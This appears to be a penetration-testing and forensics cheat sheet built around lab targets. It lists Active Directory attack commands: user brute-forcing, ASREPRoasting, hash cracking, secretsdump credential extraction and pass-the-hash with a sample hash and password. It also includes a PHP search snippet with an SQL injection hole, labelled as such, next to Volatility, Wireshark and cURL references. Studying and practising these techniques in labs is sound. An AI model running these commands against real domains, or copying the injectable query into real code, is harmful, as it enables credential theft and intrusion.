Hacking Tips & Snippets

A practical reference for common penetration testing and forensics tasks. We focus on straightforward techniques that work in real-world scenarios.

Active Directory Pentesting

Initial Enumeration

Start with broad enumeration to map the domain structure:

enum4linux <target-ip>

User Enumeration with Kerbrute

We use Kerbrute to discover valid user accounts through brute force. First, download the binary from GitHub releases, then make it executable:

mv kerbrute_linux_amd64 kerbrute
chmod +x kerbrute

Run user enumeration against the domain controller:

./kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local userlist.txt

Note: Add the domain name to your hosts file if DNS resolution fails:

echo "10.10.242.93 CONTROLLER.local" >> /etc/hosts

Kerberos ASREPRoasting

When a user account has “Do not require Kerberos preauthentication” enabled, we can request ticket-granting tickets (TGTs) without credentials. Use Impacket’s GetNPUsers to query these accounts from the Key Distribution Center:

python3 /opt/impacket/examples/GetNPUsers.py spookysec.local/svc-admin -no-pass -dc-ip 10.10.105.219

Crack the captured Kerberos hash with Hashcat (mode 18200 for Kerberos 5 AS-REP):

hashcat -m 18200 kerb-hash.txt passwordlist.txt --show

Discover available shares and their permissions:

Using smbmap:

smbmap.py -H 10.10.105.219 -u svc-admin -p management2005
smbmap.py -H 10.10.105.219 -u svc-admin -p management2005 -r backup

Using smbclient:

smbclient -L 10.10.105.219 -U svc-admin
smbclient \\\\10.10.105.219\\backup -U svc-admin

Once connected, use dir to list contents and get <filename> to download files.

Credential Extraction

If we find base64-encoded credentials, decode them:

cat backup_credentials.txt | base64 -d

Use secretsdump to extract password hashes from a domain controller:

python3 /opt/impacket/examples/secretsdump.py backup:[email protected]

Pass the Hash Attacks

When we have password hashes but not plaintext passwords, we authenticate using the hash directly with evil-winrm:

evil-winrm -i 10.10.105.219 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc

Backend Database Operations

MySQL Database Connections in PHP

Basic connection:

$conn = new mysqli("localhost", "user", "pass");

Create a new database:

$sql = "CREATE DATABASE database1";
$conn->query($sql);

Connect to a specific database:

$conn = new mysqli("localhost", "user", "pass", "database1");
$query = "SELECT * FROM table_1";
$result = $conn->query($query);

Handling User Input

Search functionality example:

$searchInput = $_POST['findUser'];
$query = "SELECT * FROM users WHERE name LIKE '%$searchInput%'";
$result = $conn->query($query);

Display results:

while($row = $result->fetch_assoc()) {
    echo $row["name"] . "<br>";
}

Security Note: The example above demonstrates SQL injection vulnerability. In production code, we should always use prepared statements to sanitize user input.

Memory Forensics

Volatility Basics

Volatility is our go-to tool for analyzing memory dumps. Download it from GitHub.

Basic command structure:

# Analyze memory dump and identify the operating system
python3 vol.py -f /path/to/memorydump.vmem windows.info

# Override default plugin location
python3 vol.py -p /path/to/custom/plugins

# Specify output directory for extracted files
python3 vol.py -o /output/extracted/files/here

Essential Windows Plugins

Plugin	Purpose	Use Case
`windows.pslist`	Lists running processes	Discover what was executing during capture
`windows.psscan`	Deep process analysis	Examine specific process behavior
`windows.dumpfiles`	Export processes/DLLs	Enable static or dynamic analysis of binaries
`windows.netstat`	Network connections	Identify malicious connections and C2 servers

Usage examples:

# List all processes
python3 vol.py -f workstation.vmem windows.pslist

# Deep scan a specific process
python3 vol.py -f workstation.vmem windows.psscan

Network analysis tip: If we identify a malicious IP address communicating with a process, we can check if other devices on the network are connecting to the same address to identify additional compromised systems.

Network Analysis

Capture Setup with Dumpcap

List available interfaces:

dumpcap -D

Basic capture to file:

dumpcap -i 1 -w /save.pcapng

Ring buffer setup (rotates files when size limit is reached):

dumpcap -i 1 -w /save.pcapng -b filesize:500000 -b files:10

Capture Filters

Capture filters apply during data collection to reduce file size:

Capture only DNS traffic:

port 53

Display Filters

Display filters help us analyze captured traffic:

Traffic between two specific addresses:

ip.addr eq 192.168.1.1 and ip.addr eq 10.0.0.1

Same traffic but TCP only:

(ip.addr eq 192.168.1.1 and ip.addr eq 10.0.0.1) && (tcp)

Exclude noise traffic (ARP, IPv6, SSDP):

not (arp or ipv6 or ssdp)

Specific TCP ports (web traffic):

tcp.port in {80 443 8080}

String filtering at frame level:

Case-sensitive:

frame contains "google"

Case-insensitive:

frame matches "(?i)google"

Quick Reference

Tool	Purpose
enum4linux	SMB/AD enumeration
kerbrute	Active Directory user brute-forcing
GetNPUsers.py	ASREPRoasting attacks
hashcat	Password hash cracking
smbmap/smbclient	SMB share enumeration
secretsdump.py	Extract credentials from Windows
evil-winrm	Remote Windows management
Volatility	Memory forensics
dumpcap/Wireshark	Network capture and analysis

cURL CheatSheet

# download the file silently
curl -s -O inlanefreight.com/index.html

# skip the ssl certificate check
curl -k https://inlanefreight.com

# print full HTTP request/response details
curl inlanefreight.com -v
curl inlanefreight.com -vvv

# display only the response headers
curl -I <site>

# display both the headers and the response body
curl -i <site>

# set our User-Agent header
curl -A 'Mozzilla/5.0' https://www.inlanefreight.com

# provide credentials to the page
curl -u admin:admin http://<SERVER_IP>:<PORT>/
curl http://admin:admin@<SERVER_IP>:<PORT>/

# manually set the authorization token(base64 encoded-admin:admin)
curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://<SERVER_IP>:<PORT>/

# pass GET parameters
curl 'http://<SERVER_IP>:<PORT>/search.php?search=le' -H 'Authorization: Basic YWRtaW46YWRtaW4='

# pass login data in the request
curl -X POST -d 'username=admin&password=admin' http://<SERVER_IP>:<PORT>/

# follow the redirection to login page with -L
# set the cookie obtained previously for the session
curl -b 'PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' http://<SERVER_IP>:<PORT>/

# specify the cookie as a header
curl -H 'Cookie: PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' http://<SERVER_IP>:<PORT>/

# set post data, cookie and content type to query the server
curl -X POST -d '{"search":"london"}' -b 'PHPSESSID=imnvdlhm53j91b2c2qbds40mte' -H 'Content-Type: application/json' http://157.245.40.78:30738/search.php

# update the city table in the database
curl -X PUT http://<SERVER_IP>:<PORT>/api.php/city/london

# search and format the response
curl -s http://<SERVER_IP>:<PORT>/api.php/city/london | jq

# add content to the table
curl -X POST http://<SERVER_IP>:<PORT>/api.php/city/ -d '{"city_name":"HTB_City", "country_name":"HTB"}' -H 'Content-Type: application/json'

# update the content of the table
curl -X PUT http://<SERVER_IP>:<PORT>/api.php/city/london -d '{"city_name":"New_HTB_City", "country_name":"HTB"}' -H 'Content-Type: application/json'

# delete an entry
curl -X DELETE http://<SERVER_IP>:<PORT>/api.php/city/New_HTB_City

Hacking Tips & Snippets#

Active Directory Pentesting#

User Enumeration with Kerbrute#

Kerberos ASREPRoasting#

SMB Share Enumeration#

Credential Extraction#

Pass the Hash Attacks#

Backend Database Operations#

MySQL Database Connections in PHP#

Handling User Input#

Memory Forensics#

Volatility Basics#

Essential Windows Plugins#

Network Analysis#

Capture Setup with Dumpcap#

Capture Filters#

Display Filters#

Quick Reference#

cURL CheatSheet#